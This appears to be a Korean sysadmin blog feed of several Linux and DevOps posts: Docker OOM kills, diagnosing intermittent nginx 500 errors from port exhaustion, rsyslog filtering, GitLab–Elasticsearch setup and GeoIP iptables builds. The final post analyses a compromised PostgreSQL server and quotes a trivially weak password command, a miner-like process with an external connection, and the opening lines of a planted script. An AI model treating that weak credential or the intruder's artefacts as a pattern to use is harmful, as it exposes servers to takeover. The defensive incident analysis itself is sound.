소스 관리

기본 대상 브랜치는 잠겨 있습니다.
병합은 PR을 통해 이루어집니다.
PR은 관련 작업 항목을 참조합니다.
커밋 기록은 일관되고 커밋 메시지는 정보(내용, 이유)를 제공한다.
일관된 브랜치 이름 지정 규칙.
리포지토리 구조에 대한 명확한 문서화.
secret은 커밋 기록에 포함되지 않거나 공개되지 않습니다. (자격 증명 스캔 참조)
공개 리포지토리는 OSS 가이드라인을 따르며, "공개 리포지토리의 기본 브랜치에 필요한 파일을 참조하세요." 를 적는다.

 

 

 

 

'job > linux' 카테고리의 다른 글

docker Exited (137)  (0) 2024.01.09
ci/cd 파이프라인  (0) 2022.11.16
간헐적 500 Server Internal Error 원인 파악하기  (0) 2022.11.10
du -sch --exclude  (0) 2022.07.11
systemd: Created slice libcontainer_number_systemd_test_default.slice.  (0) 2022.07.11

137은 종료 코드 137은 컨테이너가 시그널 9 (SIGKILL)로 종료이다.

 

즉 컨테이너 내부의 문제라기 보다는 서버의 문제이다.

 

서버 문제로 docker 137이 나는 이유는 뭐가 있을까.

 

서버 문제를 찾기 위해 dmesg를 해보면 OOM(out of memory) 확인된다.

OOM 외에도 컨테이너에 mem_limit 걸어뒀는데 이거보다 넘어가면 137 에러 뜬다.

 

developer commit
형상&버전관리 - gitlab

build / test / package - jenkins : gitlab에 있는 소스를 불러와서 build하고 test하고 package 한다. 단위test 통과 못하면 fail되어 개발자에게 알람. 단위테스트 통과하면 dev&prod서버에 배포 진행

정적테스트 및 분석 : 소나큐브

IaC, 빌드된 결과물을 운영환경에 배포 : ansible

운영환경 : 쿠버네티스

이런 일련의 과정을 CI/CD 파이프라인

 

젠킨스 설치는 도커 컴포즈로 젠킨스 플러그인 전체 설치

 

jenkins-item이란 : 작업(빌드,배포)최소단위

 

jenkins git plugin 설치

아이템별 git 레포 설정

jenkins maven plugin 설치

메이븐으로 컴파일 - clean compile package

 

jenkins > docker 방법

1) publish over SSH

 

구성

Service1.domain.co.kr 에 접속할 경우

Service1.domain.co.kr 도메인의 dns설정은 cname proxy.domain.co.kr(nginx proxy서버) 으로 해놓고

Service1.domain.co.kr > nginx proxy(nginx proxy서버) > server:service1 port(docker)

상황 : 여러 서비스에서 간헐적으로 500 Server internal Error 발생. 새로고침하면 정상화. 새로고침하면 정상화 되기에 서비스 이용에는 크게 문제가 없으나 API 이용시 500 error 발생으로 스크립트 오작동하는경우 발생.

 

사내 모니터링 툴인 icinga2(nagios기반)에서는 에러 발생시 1분뒤 다시한번 체크하도록 설정 돼 있기에 icinga2에서는 서비스 에러 체크가 안돼고 있었음.
다만 debug 모드에서는 500 error를 확인 할 수 있다. icinga2로그 확인시 같은시간에 여러 서비스에서 동시에 발새하는것으로 보아 어플리케이션 단일의 문제는 아닐것으로 보인다.

 

그럼 서비스들이 모여있는 web1, 또는 intra1 그리고 DB서버, proxy 정도의 문제로 의심해볼 수 있을듯 하다. 여기서 확인해볼 수 있는것은 최종 목적지인 web1, intra1 모든 서버에서 에러가 발생하고 있고 특히 xlsoft의 경우 디비 설정도 안돼있기에 디비 문제도 아님이 확인된다.

proxy0에 있는 munin, icinga2 는 에러가 없는것으로 보아 proxy1 서버에서 발생하는 문제라 추측하고 원인 파악할 예정

우선 접속자가 가장 적은 test.co.kr 을 모니터링 할꺼고 1.1.1.1(proxy1)과 통신을 전혀 하지 않는 standby1에서 tcpdump를 뜬다. 그래야 딱 test.co.kr 꺼만 tcpdump가 가능하니까

#!/bin/bash
function check_fnc(){
CMD=`docker exec -it compose.icinga2.test.co.kr /usr/lib/nagios/plugins/check_http -I 1.1.1.1 -S -u <https://www.test.co.kr/images/xlsoftlogo.png`>
CRI=`echo $CMD | awk '{print $2}'`
date > /etc/bin/date.txt
}

check_fnc
while [ $CRI != "CRITICAL:" ]
do
check_fnc
sleep 2
done

위 스크립트를 돌려놓기.

tcpdump 떠놓고 위 스크립트로 500 error 발생할 때까지 스크립트 돌려놓기

1) 11:24:11.764227 IP standby1.58272 > 1.1.1.1.https: Flags [S], seq 1285422234, win 29200, options [mss 1460,sackOK,TS val 2345513401 ecr 0,nop,wscale 9], length 0
2) 11:24:11.764640 IP 1.1.1.1.https > standby1.58272: Flags [S.], seq 3917766911, ack 1285422235, win 28960, options [mss 1460,sackOK,TS val 2362302169 ecr 2345513401,nop,wscale 9], length 0
3) 11:24:11.764706 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 1, win 58, options [nop,nop,TS val 2345513401 ecr 2362302169], length 0
4) 11:24:11.766695 IP standby1.58272 > 1.1.1.1.https: Flags [P.], seq 1:280, ack 1, win 58, options [nop,nop,TS val 2345513403 ecr 2362302169], length 279
5) 11:24:11.766881 IP 1.1.1.1.https > standby1.58272: Flags [.], ack 280, win 60, options [nop,nop,TS val 2362302208 ecr 2345513403], length 0
6) 11:24:11.769720 IP 1.1.1.1.https > standby1.58272: Flags [.], seq 1:5793, ack 280, win 60, options [nop,nop,TS val 2362302211 ecr 2345513403], length 5792
7) 11:24:11.769838 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 5793, win 80, options [nop,nop,TS val 2345513406 ecr 2362302211], length 0
8) 11:24:11.769977 IP 1.1.1.1.https > standby1.58272: Flags [P.], seq 5793:6028, ack 280, win 60, options [nop,nop,TS val 2362302211 ecr 2345513403], length 235
9) 11:24:11.770009 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 6028, win 86, options [nop,nop,TS val 2345513406 ecr 2362302211], length 0
1) 011:24:11.770843 IP standby1.58272 > 1.1.1.1.https: Flags [P.], seq 280:406, ack 6028, win 86, options [nop,nop,TS val 2345513407 ecr 2362302211], length 126
11) 11:24:11.800062 IP 1.1.1.1.https > standby1.58272: Flags [P.], seq 6028:6079, ack 406, win 60, options [nop,nop,TS val 2362302241 ecr 2345513407], length 51
12) 11:24:11.800284 IP standby1.58272 > 1.1.1.1.https: Flags [P.], seq 406:553, ack 6079, win 86, options [nop,nop,TS val 2345513437 ecr 2362302241], length 147
13) 11:24:11.818999 IP 1.1.1.1.https > standby1.58272: Flags [P.], seq 6079:6433, ack 553, win 62, options [nop,nop,TS val 2362302260 ecr 2345513437], length 354
14) 11:24:11.819120 IP 1.1.1.1.https > standby1.58272: Flags [FP.], seq 6433:6464, ack 553, win 62, options [nop,nop,TS val 2362302260 ecr 2345513437], length 31
15) 11:24:11.819208 IP standby1.58272 > 1.1.1.1.https: Flags [.], ack 6465, win 91, options [nop,nop,TS val 2345513456 ecr 2362302260], length 0
16) 11:24:11.819235 IP standby1.58272 > 581.1.1.1.https: Flags [F.], seq 553, ack 6465, win 91, options [nop,nop,TS val 2345513456 ecr 2362302260], length 0
17) 11:24:11.819447 IP 1.1.1.1.https > standby1.58272: Flags [.], ack 554, win 62, options [nop,nop,TS val 2362302261 ecr 2345513456], length 0

이게 500 에러일 때 tcpdump

1) 16:14:47.778543 IP standby1.42750 > 1.1.1.1.https: Flags [S], seq 387201813, win 29200, options [mss 1460,sackOK,TS val 2276549415 ecr 0,nop,wscale 9], length 0
2) 16:14:47.778893 IP 1.1.1.1.https > standby1.42750: Flags [S.], seq 1673702661, ack 387201814, win 28960, options [mss 1460,sackOK,TS val 2293338207 ecr 2276549415,nop,wscale 9], length 0
3) 16:14:47.778973 IP standby1.42750 > 1.1.1.1.https: Flags [.], ack 1, win 58, options [nop,nop,TS val 2276549415 ecr 2293338207], length 0
4) 16:14:47.781420 IP standby1.42750 > 1.1.1.1.https: Flags [P.], seq 1:280, ack 1, win 58, options [nop,nop,TS val 2276549418 ecr 2293338207], length 279
5) 16:14:47.781666 IP 1.1.1.1.https > standby1.42750: Flags [.], ack 280, win 59, options [nop,nop,TS val 2293338210 ecr 2276549418], length 0
6) 16:14:47.783826 IP 1.1.1.1.https > standby1.42750: Flags [P.], seq 1:6028, ack 280, win 59, options [nop,nop,TS val 2293338212 ecr 2276549418], length 6027
7) 16:14:47.783933 IP standby1.42750 > 1.1.1.1.https: Flags [.], ack 6028, win 81, options [nop,nop,TS val 2276549420 ecr 2293338212], length 0
8) 16:14:47.785036 IP standby1.42750 > 1.1.1.1.https: Flags [P.], seq 280:406, ack 6028, win 81, options [nop,nop,TS val 2276549421 ecr 2293338212], length 126
9) 16:14:47.785568 IP 1.1.1.1.https > standby1.42750: Flags [P.], seq 6028:6079, ack 406, win 59, options [nop,nop,TS val 2293338214 ecr 2276549421], length 51
10) 16:14:47.785670 IP standby1.42750 > 1.1.1.1.https: Flags [P.], seq 406:553, ack 6079, win 81, options [nop,nop,TS val 2276549422 ecr 2293338214], length 147
11) 16:14:47.788991 IP 1.1.1.1.https > standby1.42750: Flags [P.], seq 6079:10659, ack 553, win 61, options [nop,nop,TS val 2293338217 ecr 2276549422], length 4580
12) 16:14:47.789028 IP 1.1.1.1.https > standby1.42750: Flags [FP.], seq 10659:10690, ack 553, win 61, options [nop,nop,TS val 2293338217 ecr 2276549422], length 31
13) 16:14:47.789149 IP standby1.42750 > 1.1.1.1.https: Flags [.], ack 10659, win 99, options [nop,nop,TS val 2276549426 ecr 2293338217], length 0
14) 16:14:47.789189 IP standby1.42750 > 1.1.1.1.https: Flags [F.], seq 553, ack 10691, win 99, options [nop,nop,TS val 2276549426 ecr 2293338217], length 0
15) 16:14:47.789349 IP 1.1.1.1.https > standby1.42750: Flags [.], ack 554, win 61, options [nop,nop,TS val 2293338218 ecr 2276549426], length 0

이건 정상일 때 tcpdump

  1. SYN-SENT - standby1에서 proxy1로 Syn을 보냄 : 내가(standby1) 너(proxy1)한테 접속 해도 돼 ?
  2. SYN-RECEIVE - proxy1에서 syandby1한테 Syn에 대한 응답(Ack) : 너(standby1)한테 Syn 잘 받았어 (ACK) 나 준비완료, 들어와도돼 (Syn.), tcpdump에서는 Ack를 .으로 표현
  3. ESTABLISHED - standby1에서 proxy1로 Ack 보냄 : 나(standby1) 랑 너(proxy1) 연결됐어 1~3까지가 3WAY 핸드쉐이크
  4. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를 4~9 까지 요거 참고
  5. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
  6. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
  7. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
  8. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
  9. SSL 핸드쉐이크 부분 - https://run-it.tistory.com/29 이거나 https://lxxyeon.tistory.com/176 이거를4~9 까지 요거 참고
  10. SSL 암호화된 데이터 전송 https OK
  11. SSL 암호화된 데이터 전송 https OK
  12. FIN_WAIT1 - proxy1에서 standby1한테 접속 끊자는(FIN) 패킷 발송 : 나(proxy1)는 너(standby1)한테 볼일 다 봤어. 이제 끊자(FIN)
  13. CLOSE_WAIT - standby1이 proxy1한테 Fin에 대한 응답(Ack) : 그럴래 ? 잠깐만~ 너가 볼일 다본 프로세스 종료준비좀 할께. 기다려봐
  14. LAST_ACK - standby1이 proxy1한테 FIN 패킷 발송 : 나(standby1)는 프로세스 종료할 준비 됐어 ~ 너 준비 됐어 ?
  15. TIME_WAIT - proxy1이 standby1한테 종료에 대한 응답 .(ACK) 발송 : 응. 나 끊었어

정상 / 비정상과 딱히 차이 없음.

비정상일때 패킷2개가 더 있긴한데 이거는 SSL 통신할 때 인증서 확인을 한패킷에서 했냐 한번 나눴냐 차이. 즉 패킷이 끊기는건 없다. 따라서 timeout은 아니라는 말.
ㄴ간헐적 장애는 거의 대부분이 timeout문제(경험)임. 네트워크랑 앤드포인트나 애플리케이션단 타임아웃이 서로 달라서 발생하는등. 근데 이 문제는 타임아웃 문제 아님. 그럼 백프로 nginx proxy서버문제가 맞다고 보여진다.

nginx proxy 에러로그를 다시한번 살펴보면..

에러 발생한 시간에 bind(0.0.0.0) failed (98: Address already in use) while connecting to upstream, 이게 찍혀있다. 포트 중복되는 문제로 많이 보던 에러라 보고서 누가 포트 잘못 올렸나 하고 넘어갔떤건데... 이제보니 포트가 안찍혀있다.
그리고 생각해보면 포트 중복문제면 nginx 재시작등 서비스 올라올 때 포트 중복되면 찍혀야 하는건데 이건 라이브중에 찍힌 에러.. 이 에러가 문제가 맞는것으로 보인다.

혹시나 icinga2에서 에러 발생한 시간에 맞춰보니 전부 그시간에 위 에러가 찍혀있다. 물론 icinga2는 체크를 실시간으로 하는게 아니니까 백프로 일치하진 않지만 nginx에 찍힌 에러 로그안에 아이싱가 로그 시간을 포함하고 있다.

bind(0.0.0.0) failed (98: Address already in use) while connecting to upstream 이처럼 포트가 안찍히는 경우는 해당 서버가 클라이언트입장에서 서버로 로그인 할 때 클라이언트 포트가 이미 사용중이라 해당 에러가 발생할 수 있다. > nginx proxy가 실서비스(도커의 :28080)

 

[root@proxy1 ~]# cat /proc/sys/net/ipv4/ip_local_port_range

1024 65535

[root@proxy1 nginx]# netstat -an |grep TIME_WAIT | grep -v 1.1.1.1:443 | grep -v 1.1.1.1:80 | awk '{print $4}'| awk -F ":" '{print $2}' | sort -n | head

1024

1025

1026

1027

1030

[root@proxy1 nginx]# netstat -an |grep TIME_WAIT | grep -v 1.1.1.1:443 | grep -v 1.1.1.1:80 | awk '{print $4}'| awk -F ":" '{print $2}' | sort -n | tail

65524

65525

65528

65529

65535

[root@proxy1 nginx]# netstat -an |grep TIME_WAIT | grep -v 1.1.1.1:443 | grep -v 1.1.1.1:80 | wc -l 44562

실제로 클라이언트 포트를 1024부터 뛰엄뛰엄 65535까지 상당히 많이 쓰고 있지만 이론상으로 현재 문제는 발생하면 안된다.(6만개도 안넘었으니까)

[root@proxy1 log]# cat /home/var/proxy1.datawave.co.kr/logs/error.log | grep 'Address already in use' | awk '{print $2}' | awk -F ":" '{print $1":"$2}' | sort | uniq -c | sort -rn | head -n 100

10743 05:29

10472 05:28

10092 05:43

10070 06:29

8481 05:51

8263 05:49

8252 05:48 중략

6081 05:26

6065 05:08

새벽 5~6시에 집중돼있음

netstat -an 카운트 새벽에 계속 돌렸을 때 몇개까지 차는지 보면 이게 원인인지 아닌지 확인 할 수 있음

만약 클라이언트 포트 고갈 문제가 맞다면

log3의 8080(fastlog)와 통신을 가장 많이하는데 이거 1회성 연결로 끊지말고 1시간에 한번씩 연결해서 작업하던가 하는 식으로 바꾸는게 바람짐학

서버에서 해줄 수 잇는 작업은 리싸이클 커널 파라미터 조정해야 할 듯 한데(그 외 커널 파라미터는 최적화 돼 있는 상태임)

https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=nkyle9361&logNo=220060056557

근데 위 설정 해주면 fin 안받고 세션 끊고 바로 배정하는거라 킵얼라이브처럼 세션 재활용할 때 500 에러 난다고 하니 위 설정은 하면 안될 듯 - 위 본문에도 있듯이 Client쪽이 방화벽 또는 NAT 환경일 때<< 프록시 서버라 문제 날 수 있을것같음.

 

 

'job > linux' 카테고리의 다른 글

docker Exited (137)  (0) 2024.01.09
ci/cd 파이프라인  (0) 2022.11.16
du -sch --exclude  (0) 2022.07.11
systemd: Created slice libcontainer_number_systemd_test_default.slice.  (0) 2022.07.11
gitlab - elasticsearch intergration  (0) 2021.02.16

/ 디렉토리 용량이 많이 차서 원인이 뭔지 확인하려고 du -sch ./* 이런 명령어 입력하면

 

별도로 파티셔닝했떤 /home 디렉토리도 같이 용량 체크하느라 시간이 오래걸리는경우가 있다. 이 외에도 du 후 exclude 폴더가 절실할때가 많았다. 몇번 찾아보기도 했었는데 분명 안나왔었고...  그래서 매번 du -sch ./a* du -sch ./b*  이런식으로 찾다가... 

 

이참에 exclude 옵션을 추가하여 du 명령어를 더 보완해보자 라는 마음으로 du exclude 구글링 검색을 해봤는데..

 

아래와 같이 du 에서 --exclude 옵션이 있었다... 예전에 내가 검색을 잘 못했던것 같다....

du -sch ./* | grep -v 폴더 이런식의 방법만 나와서 시간 오래걸리는건 매한가지로 똑같았는데 분명... 이상하다. 여튼 du 에도 exclude 옵션이 있다.

Jul 11 03:37:14 db1 systemd: Created slice libcontainer_16098_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Removed slice libcontainer_16098_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16126-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16126-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Created slice libcontainer_16126_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Removed slice libcontainer_16126_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16153-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Scope libcontainer-16153-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:14 db1 systemd: Created slice libcontainer_16153_systemd_test_default.slice.
Jul 11 03:37:14 db1 systemd: Removed slice libcontainer_16153_systemd_test_default.slice.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16180-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16180-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Created slice libcontainer_16180_systemd_test_default.slice.
Jul 11 03:37:15 db1 systemd: Removed slice libcontainer_16180_systemd_test_default.slice.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16207-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Scope libcontainer-16207-systemd-test-default-dependencies.scope has no PIDs. Refusing.
Jul 11 03:37:15 db1 systemd: Created slice libcontainer_16207_systemd_test_default.slice.

 

 

위와같은 에러가 message 로그에 대량(초당 3~4회씩반복)으로 남고있어, 메세지로그확인이 상당히 어렵다.

 

하여 아래와 같이 원인 분석 및 조치를 진행했다.

 

 

1. 해당 로그가 쌓이는 원인 파악
https://github.com/kubernetes/kubernetes/issues/71887

https://github.com/moby/moby/issues/30628

 

위 내용들을 종합해보자면 docker 의 native cgroup driver를 native.cgroupdriver=systemd 으로 사용하고 있는데 

systemd에 의해 잘 실행 되는지 컨테이너 런타임(runC)이 잘 실행되는지 확인하기 위한 일시적인 테스트라고 한다.
테스트로 컨테이너를 생성하는데 pid가 없으니까 생성/삭제하는건가... 이 이상으로 설명이 돼 있는건 구글링해도 찾을수가없었다.

여튼 해당 메세지 자체가 있다고해서 서버나 운영환경에 문제를 야기할껀 아니라고 판단된되니 로그를 안쌓도록 하면 될것같다.

 

2. 해당 로그를 안쌓도록 하는 방법

근본적으로 도커 컨테이너에서 설정을통해 안쌓도록 하고 싶지만 구글링시 안나오고 있다. 따라서 rsyslog에서 해당 로그는 쌓이지 않도록 설정한다.

[root@db1 rsyslog.d]# pwd
/etc/rsyslog.d
[root@db1 rsyslog.d]#
[root@db1 rsyslog.d]#
[root@db1 rsyslog.d]# cat ignore-container-log.conf
if ($programname == "systemd") and ($msg contains "_systemd_test_default.slice" or$msg contains "systemd-test-default-dependencies.scope") then {
  stop
}

위와 같이 rsyslog.d 에 ignore 설정파일 하나 만들어서 메세지 같으면 안쌓이도록 설정 

'job > linux' 카테고리의 다른 글

간헐적 500 Server Internal Error 원인 파악하기  (0) 2022.11.10
du -sch --exclude  (0) 2022.07.11
gitlab - elasticsearch intergration  (0) 2021.02.16
centos 5 iptables에 geoip 올리기(2020-03-05)  (0) 2020.03.05
pgsql 해킹 프로세스  (0) 2019.12.30

gitlab에서 프로그램내의 다중프로젝트의 코드 검색을 하기 위해서는 깃랩의 고급 검색기능을 사용해야 한다.
advanced search 사용을 위해서는 gitlab/elasticsearch 를 연동이 필요함

gitlab - elasticsearch intergration to use the advanced search(premium feature)

 

순서
1.설치전 주의사항등 확인

2.엘라스틱서치 설치

3.gitlab-엘라스틱서치 연동

위와 같이 진행

 

 

1.설치전 주의사항 등 확인

 

server1 - gitlab(docker containor)
server2 - elasticsearch(docker containor)

ㄴRunning Elasticsearch on the same server as GitLab is not recommended and will likely cause a degradation in GitLab instance performance.(깃랩 독스에 보는것처럼 동일 서버에의 설치는 성능저하가 있을 수 있으니 지양하라 적혀있다)

 

elasticsearch server Use SSD storage. You will need enough storage for 50% of the total size of your Git repositories.

2.엘라스틱서치 설치
엘라스틱서치 노드구성은 멀티노드로 셋팅한다.
ㄴ제공되는 도커 컴포즈가 멀티노드용으로 제공되기도 하고. 엘라스틱서치가 각 노드들의 사용처에 맞게 클러스터링 구성하여 운영하는게 좋기 때문에 멀티노드로 구성한다. 

www.elastic.co/guide/en/elasticsearch/reference/7.11/docker.html 참고

 

 

2-1 docker image pull

docker pull docker.elastic.co/elasticsearch/elasticsearch:7.11.0docker.elastic.co/elasticsearch/elasticsearch:7.11.0

 

2-2 writing docker-compose file

www.elastic.co/guide/en/elasticsearch/reference/7.11/docker.html#docker-compose-file 참고

ps.ES_JAVA_OPTS 옵션은 서버 메모리에 맞게 수정이 필요함 - 최소 4gb는 필요하지 않나 싶다. 디폴트가 512메가였는데 디폴트로하면 메모리부족으로 ES 다운된다. 4기가로 변경하니 잘 돌아감(프로젝트 용량 약 80기가)

2-3 포트는 9200, 9300 사용하니까 서버에서 사용되고 있는지 아닌지 체크 필요.

2-4 볼륨방식이 아닌 바인드 방식으로 마운트 하고자 할 경우는 아래와같이 수정하면 된다.

volumes:
  data01:
    driver: local
    driver_opts:
      type: 'none'
      o: 'bind'
      device: '/home/data/elasticsearch/es01_data'
  data02:
    driver: local
    driver_opts:
      type: 'none'
      o: 'bind'
      device: '/home/data/elasticsearch/es02_data'
  data03:
    driver: local
    driver_opts:
      type: 'none'
      o: 'bind'
      device: '/home/data/elasticsearch/es03_data'

 

 

3.gitlab-엘라스틱서치 연동(인덱서 설치)
3-1. 깃랩 인덱서 설치

11.8버전 이상의 깃랩은 전부 옴니버스 깃랩이라고 설치한 깃랩내에 패키지로 다 들어가 있다.따라서 깃랩 버전이 11.8 이상이라면 3-2로 가면 됨

나도 11.8 이상(13.0이였음)이라서 인덱서 따로 설치하지 않았다.(설치방법은
docs.gitlab.com/ee/////integration/elasticsearch.html#from-source 참고)

3-2.깃랩  > 엘라스틱으로 아이피 연동 
admin area > settings > intergration > elasticsearch 에서 아이피 설정(다른건 아직 안해도 됨)

3-3. gitlab-rake gitlab:elastic:create_empty_index 입력
ㄴ인덱싱. 용량크면 시간 좀 소요됨 

 

3-4. 인덱싱 완료후 깃랩 설정 페이지(admin area > settings > intergration > elasticsearch) 에서 고급검색기능 사용하기 체크하여 사용하면 된다.


기타,

   16  gitlab-rake gitlab:elastic:index_projects_status
ㄴ프로젝트가 전부 인덱싱 됐는지 체크하는 명령어 . 당연히 깃랩 서버에서 실행
   17  gitlab-rake gitlab:check
깃랩 이상있는지 체크하는 명령어. 입력해서 빨간거 나오면 그에 맞춰서 수정 필요

 

 

 

 

 

 

 

gitlab-elasticsearch intergration docs : docs.gitlab.com/ee/integration/elasticsearch.html

ㄴversion/system requirements check , Enabling Advanced Search
elasticsearch install(docker) docs : www.elastic.co/guide/en/elasticsearch/reference/7.x/docker.html

elasticsearch licence setting docs : www.elastic.co/guide/en/elasticsearch/reference/7.x/license-settings.html

 

'job > linux' 카테고리의 다른 글

du -sch --exclude  (0) 2022.07.11
systemd: Created slice libcontainer_number_systemd_test_default.slice.  (0) 2022.07.11
centos 5 iptables에 geoip 올리기(2020-03-05)  (0) 2020.03.05
pgsql 해킹 프로세스  (0) 2019.12.30
tls 1.1 지원 중단  (0) 2019.12.09

mkdir /root/src/

 

cd /root/src/

 

wget http://ftp.netfilter.org/pub/patch-o-matic-ng/snapshot/patch-o-matic-ng-20080521.tar.bz2

 

wget ftp://ftp.pbone.net/mirror/vault.centos.org/5.8/os/SRPMS/iptables-1.3.5-9.1.el5.src.rpm

 

rpm -ivh /rpm -ivh iptables-1.3.5-9.1.el5.src.rpm

 

cd /usr/src/redhat/SOURCES/

 

bunzip2 iptables-1.3.5.tar.bz2

 

tar -xvf iptables-1.3.5.tar 

 

ln -s /usr/src/redhat/SOURCES/iptables-1.3.5 /usr/src/iptables

 

ln -s /usr/src/kernels/`uname -r`-x86_64 /usr/src/linux

 

cd /root/src/patch-o-matic-ng-20080521

./runme --download
엔터 엔터

./runme geoip
엔터 엔터 y

 

cd /usr/src/iptables/

make

 

cp extensions/libipt_geoip.so /lib64/iptables/

 

 cd /usr/src/linux/

 

make oldconfig

make modules_prepare

mv /usr/src/linux/net/ipv4/netfilter/Makefile /usr/src/linux/net/ipv4/netfilter/Makefile.orig

 

vi /usr/src/linux/net/ipv4/netfilter/Makefile 

(열어서 아래 내용 저장)

obj-m := ipt_geoip.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
$(MAKE) -C $(KDIR) M=$(PWD) modules

 

 

make M=/usr/src/linux/net/ipv4/netfilter

 

cp /usr/src/linux/net/ipv4/netfilter/ipt_geoip.ko /lib/modules/`uname -r`/kernel/net/ipv4/netfilter/

chmod 744 /lib/modules/`uname -r`/kernel/net/ipv4/netfilter/ipt_geoip.ko

depmod -a

modprobe ipt_geoip

 

mkdir /var/geoip ; cd /var/geoip ; wget http://people.netfilter.org/peejix/geoip/tools/csv2bin-20041103.tar.gz ; tar -xvzf csv2bin-20041103.tar.gz

cd csv2bin ; make

 

그다음 https://xinet.kr/?p=2711 여기 나온대로 maxmind 로그인 후 csv 파일 다운로드

 

csv 받으면 옛날 방식의 csv로 컨버팅 해야 함

####

GeoLite2-Country-CSV.zip 파일은 기존 csv 파일과 양식이 달라서 아래와 같이 컨버팅이 필요함

wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip

unzip -o -j GeoLite2-Country-CSV.zip '*/GeoLite2-Country-Blocks*' ##국가코드 DB:csv 파일 다운로드후 압축 풀기

wget http://download.geonames.org/export/dump/countryInfo.txt ##국가코드

https://github.com/mschmitt/GeoLite2xtables 여기 들어가서 20_convert 컨버팅 하는거 다운로드 ##컨버팅 스크립트

chmod 755 20_geo_convert.pl

/usr/bin/cpan -i NetAddr::IP ##컨버팅시 perl에 use NetAddr::IP; 라는 모듈을 사용하는 대부분 설치 안돼있어서 cpan으로 설치해야함

cat GeoLite2-Country-Blocks-IPv{4,6}.csv | ./geo_convert.pl CountryInfo.txt > GeoIPCountry.csv ##컨버팅

cat ./GeoLite2-Country-Blocks-IPv{4,6}.csv | ./20_convert_geolite2  ./countryInfo.txt  > GeoIP-legacy.csv

 

csv 옛날껄로 컨버팅 한다음 

 

./csv2bin GeoIP-legacy.csv 로 컨버팅 하고 

cp -ra geoipdb.* /var/geoip/

 

이러면 완료

'job > linux' 카테고리의 다른 글

systemd: Created slice libcontainer_number_systemd_test_default.slice.  (0) 2022.07.11
gitlab - elasticsearch intergration  (0) 2021.02.16
pgsql 해킹 프로세스  (0) 2019.12.30
tls 1.1 지원 중단  (0) 2019.12.09
nginx + php-fpm 취약점  (0) 2019.10.29

서버 점검 요청 들어와서 확인해보니

 

sar 로 확인시 cpu 전부 사용중(전부 사용할 서버 아님)

01시 50분 01초     all     99.91      0.00      0.09      0.00      0.00      0.00
01시 52분 01초     all     99.90      0.00      0.10      0.00      0.00      0.00
01시 54분 01초     all     99.93      0.00      0.07      0.00      0.00      0.00

15279 postgres  20   0 2410m 2.3g    4 S 997.4  3.7 343927:26 rjD496                                                              

이상한 프로세스 실행돼있음을 확인     

postgres 15279     1 99 Dec05 ?        238-20:11:55 rjD496              

                        

lsof 로 확인시
rjD496  15279 postgres  cwd       DIR        8,3     4096          2 /
rjD496  15279 postgres  rtd       DIR        8,3     4096          2 /
rjD496  15279 postgres  txt   unknown                                /proc/15279/exe (readlink: No such file or directory)
rjD496  15279 postgres  DEL       REG        8,3            24408871 /var/lib/pgsql/532c82963b1166afe6297c911fdebc14
rjD496  15279 postgres  mem       REG        8,3      557    2621500 /etc/localtime
rjD496  15279 postgres   10w      REG        8,3        6   20185158 /tmp/.X11-unix/11
rjD496  15279 postgres   31u     IPv4 1194033012      0t0        TCP 서버 아이피 ->101.64.182.145:https (ESTABLISHED)

 

 

ALTER USER postgres WITH PASSWORD '123456';

ㄴpgsql 히스토리 보니 패스워드가... 굉장히 취약하다. 이게 아마 원인인듯 하고 추가로 더 점검 진행

 

-rwxr-xr-x   1 postgres postgres 1370 2017-03-22 09:51 .aliyun.sh

.aliyun.sh 라는 수상한 쉘 스크립트가 삽입돼있음

 

 

cat .aliyun.sh 
#!/bin/bash
exec &>/dev/null
